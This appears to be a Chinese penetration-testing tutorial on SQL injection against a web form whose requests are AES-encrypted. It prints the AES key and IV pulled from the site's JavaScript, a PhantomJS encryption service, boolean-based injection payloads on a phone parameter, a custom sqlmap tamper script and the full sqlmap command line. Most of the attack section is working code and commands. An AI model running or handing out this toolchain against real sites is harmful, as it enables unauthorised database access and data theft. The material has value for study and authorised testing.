外网打点之SQL注入-突破加密传输
字数 1055 2025-08-12 11:33:38
SQL注入突破加密传输实战教学文档
0x01 加密传输分析与解决
1.1 识别加密传输
在渗透测试过程中,发现目标网站所有传输数据都被加密。这是现代Web应用常见的安全措施,但并不意味着无法进行SQL注入测试。
1.2 定位加密逻辑
- 使用浏览器开发者工具(右键-审查元素)
- 在"Event Listeners"选项卡中查找按钮点击事件
- 发现点击事件触发
ForgetPwd.sendCode()函数
1.3 分析加密函数
- 格式化JS代码后,发现使用
aes_encrypt函数加密数据 - 当前JS文件中未找到该函数定义,说明定义在外部JS文件中
- 查找并分析
aes.js文件,获取以下关键参数:- 秘钥(Key):
d49d691f234441add2f610d5d11f6aad - 偏移量(IV):
b883b5ec8ca259692869ada4b72dc6f5 - 填充方式:
zeropadding - 加密模式:
CBC
- 秘钥(Key):
0x02 解密程序开发
2.1 使用PhantomJS构建解密服务
var webserver = require('webserver');
server = webserver.create();
var host = '127.0.0.1';
var port = '1664';
// 加载加密算法库
var wasSuccessful = phantom.injectJs('aes.js') && phantom.injectJs('pad-zeropadding.js');
// 加密函数
function js_encrypt(payload){
var AesKey = "d49d691f234441add2f610d5d11f6aad";
var CBCIV = "b883b5ec8ca259692869ada4b72dc6f5";
var CBCOptions = {
iv: CryptoJS.enc.Utf8.parse(CBCIV),
mode:CryptoJS.mode.CBC,
padding: CryptoJS.pad.ZeroPadding
}
var key = CryptoJS.enc.Utf8.parse(AesKey);
var secretData = CryptoJS.enc.Utf8.parse(payload);
var encrypted = CryptoJS.AES.encrypt(secretData, key, CBCOptions);
return encrypted.toString();
}
if(wasSuccessful){
console.log("[*] load js successful");
console.log("[*] jsEncrypterJS start!");
console.log("[+] address: http://"+host+":"+port);
}else{
console.log('[*] load js fail!');
}
// 启动服务
var service = server.listen(host+':'+port,function(request, response){
try{
if(request.method == 'POST'){
var payload = request.post['payload'];
var encrypt_payload = js_encrypt(payload);
console.log(payload + ':' + encrypt_payload);
response.statusCode = 200;
response.write(encrypt_payload.toString());
response.close();
}else{
response.statusCode = 200;
response.write("^_^\n\rhello jsEncrypter!");
response.close();
}
}catch(e){
console.log('\n-Error Info-');
var fullMessage = "Message: "+e.toString();
fullMessage += "\nLine: "+e.line;
for (var p in e) {
fullMessage += "\n" + p.toUpperCase()+":"+e[p];
}
console.log(fullMessage);
console.log('[*] phantomJS exit!');
phantom.exit();
}
});
2.2 运行解密服务
phantomjs.exe jsEncrypter_base.js
2.3 测试解密服务
可以使用Burp Suite的jsEncrypter插件或直接发送POST请求到http://127.0.0.1:1664进行测试。
0x03 漏洞挖掘与利用
3.1 手工验证注入点
发送以下测试payload观察响应差异:
phone=16742264301'and '1'='0'&lang=zhphone=16742264301'and '1'='1'&lang=zh
响应不同确认存在SQL注入漏洞。
3.2 自动化注入方案选择
- 自研盲注脚本:需要二次修改,效率较低
- 集成sqlmap:需要编写自定义tamper脚本处理加密
3.3 编写sqlmap tamper脚本
Aes.py:
import base64
import requests
from Crypto.Cipher import AES
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def encrypt(text):
url = 'http://127.0.0.1:1664'
data = {'payload':'phone=16742264301%s #&lang=zh'%str(text).replace('b','')}
r = requests.post(url,data)
return r.text
def dependencies():
pass
def tamper(payload, **kwargs):
payload = encrypt((payload).encode('utf-8'))
return payload
3.4 执行sqlmap注入
python sqlmap.py -r 1.txt --tamper aes.py,lowercase.py,equaltolike.py --dbms mysql --proxy http://127.0.0.1:8080 --force-ssl --risk 3 --tech B --skip-urlencode --level 3
关键点总结
-
JS逆向分析:必须准确找到加密算法和密钥参数
-
本地解密服务:构建中间层处理加密/解密,使工具链能正常工作
-
tamper脚本编写:使sqlmap能适应加密传输环境
-
参数调整:
--tamper:指定加密处理脚本--force-ssl:强制SSL连接--skip-urlencode:避免二次编码--tech B:使用布尔盲注技术
-
测试验证:手工验证注入点存在后再进行自动化测试
通过这种方法,即使面对加密传输的目标,也能有效进行SQL注入测试。关键在于理解加密机制并构建适当的工具链来适应这种环境。